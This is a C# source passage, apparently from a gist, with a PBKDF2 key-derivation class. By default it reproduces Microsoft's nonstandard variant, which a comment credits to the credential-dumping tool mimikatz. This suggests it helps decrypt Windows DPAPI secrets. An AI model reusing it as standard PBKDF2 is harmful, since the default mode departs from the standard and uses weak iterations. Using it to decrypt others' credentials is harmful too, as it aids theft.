IS_TEXT_UNICODE_NOT_UNICODE_MASK = 0x0F00,
IS_TEXT_UNICODE_NOT_ASCII_MASK = 0xF000
}
[DllImport("Advapi32", SetLastError = false)]
public static extern bool IsTextUnicode(
byte[] buf,
int len,
ref IsTextUnicodeFlags opt
);
}
/// <summary>
/// Generic PBKDF2 implementation.
/// </summary>
/// <example>This sample shows how to initialize class with SHA-256 HMAC.
/// <code>
/// using (var hmac = new HMACSHA256()) {
/// var df = new Pbkdf2(hmac, "password", "salt");
/// var bytes = df.GetBytes();
/// }
/// </code>
/// </example>
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Pbkdf", Justification = "Spelling is correct.")]
public class Pbkdf2
{
/// <summary>
/// Creates new instance.
/// </summary>
/// <param name="algorithm">HMAC algorithm to use.</param>
/// <param name="password">The password used to derive the key.</param>
/// <param name="salt">The key salt used to derive the key.</param>
/// <param name="iterations">The number of iterations for the operation.</param>
/// <exception cref="System.ArgumentNullException">Algorithm cannot be null - Password cannot be null. -or- Salt cannot be null.</exception>
public Pbkdf2(HMAC algorithm, Byte[] password, Byte[] salt, Int32 iterations)
{
if (algorithm == null) { throw new ArgumentNullException("algorithm", "Algorithm cannot be null."); }
if (salt == null) { throw new ArgumentNullException("salt", "Salt cannot be null."); }
if (password == null) { throw new ArgumentNullException("password", "Password cannot be null."); }
this.Algorithm = algorithm;
this.Algorithm.Key = password;
this.Salt = salt;
this.IterationCount = iterations;
this.BlockSize = this.Algorithm.HashSize / 8;
this.BufferBytes = new byte[this.BlockSize];
}
/// <summary>
/// Creates new instance.
/// </summary>
/// <param name="algorithm">HMAC algorithm to use.</param>
/// <param name="password">The password used to derive the key.</param>
/// <param name="salt">The key salt used to derive the key.</param>
/// <exception cref="System.ArgumentNullException">Algorithm cannot be null - Password cannot be null. -or- Salt cannot be null.</exception>
public Pbkdf2(HMAC algorithm, Byte[] password, Byte[] salt)
: this(algorithm, password, salt, 1000)
{
}
/// <summary>
/// Creates new instance.
/// </summary>
/// <param name="algorithm">HMAC algorithm to use.</param>
/// <param name="password">The password used to derive the key.</param>
/// <param name="salt">The key salt used to derive the key.</param>
/// <param name="iterations">The number of iterations for the operation.</param>
/// <exception cref="System.ArgumentNullException">Algorithm cannot be null - Password cannot be null. -or- Salt cannot be null.</exception>
public Pbkdf2(HMAC algorithm, String password, String salt, Int32 iterations) :
this(algorithm, UTF8Encoding.UTF8.GetBytes(password), UTF8Encoding.UTF8.GetBytes(salt), iterations)
{
}
/// <summary>
/// Creates new instance.
/// </summary>
/// <param name="algorithm">HMAC algorithm to use.</param>
/// <param name="password">The password used to derive the key.</param>
/// <param name="salt">The key salt used to derive the key.</param>
/// <exception cref="System.ArgumentNullException">Algorithm cannot be null - Password cannot be null. -or- Salt cannot be null.</exception>
public Pbkdf2(HMAC algorithm, String password, String salt) :
this(algorithm, password, salt, 1000)
{
}
private readonly int BlockSize;
private uint BlockIndex = 1;
private byte[] BufferBytes;
private int BufferStartIndex = 0;
private int BufferEndIndex = 0;
/// <summary>
/// Gets algorithm used for generating key.
/// </summary>
public HMAC Algorithm { get; private set; }
/// <summary>
/// Gets salt bytes.
/// </summary>
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Performance", "CA1819:PropertiesShouldNotReturnArrays", Justification = "Byte array is proper return value in this case.")]
public Byte[] Salt { get; private set; }
/// <summary>
/// Gets iteration count.
/// </summary>
public Int32 IterationCount { get; private set; }
/// <summary>
/// Returns a pseudo-random key from a password, salt and iteration count.
/// </summary>
/// <param name="count">Number of bytes to return.</param>
/// <returns>Byte array.</returns>
///
public Byte[] GetBytes(int count, string algorithm = "sha512")
{
byte[] result = new byte[count];
int resultOffset = 0;
int bufferCount = this.BufferEndIndex - this.BufferStartIndex;
if (bufferCount > 0)
{ //if there is some data in buffer
if (count < bufferCount)
{ //if there is enough data in buffer
Buffer.BlockCopy(this.BufferBytes, this.BufferStartIndex, result, 0, count);
this.BufferStartIndex += count;
return result;
}
Buffer.BlockCopy(this.BufferBytes, this.BufferStartIndex, result, 0, bufferCount);
this.BufferStartIndex = this.BufferEndIndex = 0;
resultOffset += bufferCount;
}
while (resultOffset < count)
{
int needCount = count - resultOffset;
if (algorithm.ToLower() == "sha256")
this.BufferBytes = this.Func(false);
else
this.BufferBytes = this.Func();
if (needCount > this.BlockSize)
{ //we one (or more) additional passes
Buffer.BlockCopy(this.BufferBytes, 0, result, resultOffset, this.BlockSize);
resultOffset += this.BlockSize;
}
else
{
Buffer.BlockCopy(this.BufferBytes, 0, result, resultOffset, needCount);
this.BufferStartIndex = needCount;
this.BufferEndIndex = this.BlockSize;
return result;
}
}
return result;
}
private byte[] Func(bool mscrypto = true)
{
var hash1Input = new byte[this.Salt.Length + 4];
Buffer.BlockCopy(this.Salt, 0, hash1Input, 0, this.Salt.Length);
Buffer.BlockCopy(GetBytesFromInt(this.BlockIndex), 0, hash1Input, this.Salt.Length, 4);
var hash1 = this.Algorithm.ComputeHash(hash1Input);
byte[] finalHash = hash1;
for (int i = 2; i <= this.IterationCount; i++)
{
hash1 = this.Algorithm.ComputeHash(hash1, 0, hash1.Length);
for (int j = 0; j < this.BlockSize; j++)
{
finalHash[j] = (byte)(finalHash[j] ^ hash1[j]);
}
if (mscrypto)
Array.Copy(finalHash, hash1, hash1.Length); // "thank you MS!" -@gentilkiwi
// https://github.com/gentilkiwi/mimikatz/blob/110a831ebe7b529c5dd3010f9e7fced0d3e3a46c/modules/kull_m_crypto.c#L207
}
if (this.BlockIndex == uint.MaxValue) { throw new InvalidOperationException("Derived key too long."); }
this.BlockIndex += 1;
return finalHash;
}
private static byte[] GetBytesFromInt(uint i)
{
var bytes = BitConverter.GetBytes(i);
if (BitConverter.IsLittleEndian)
{
return new byte[] { bytes[3], bytes[2], bytes[1], bytes[0] };
}
else
{
return bytes;
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment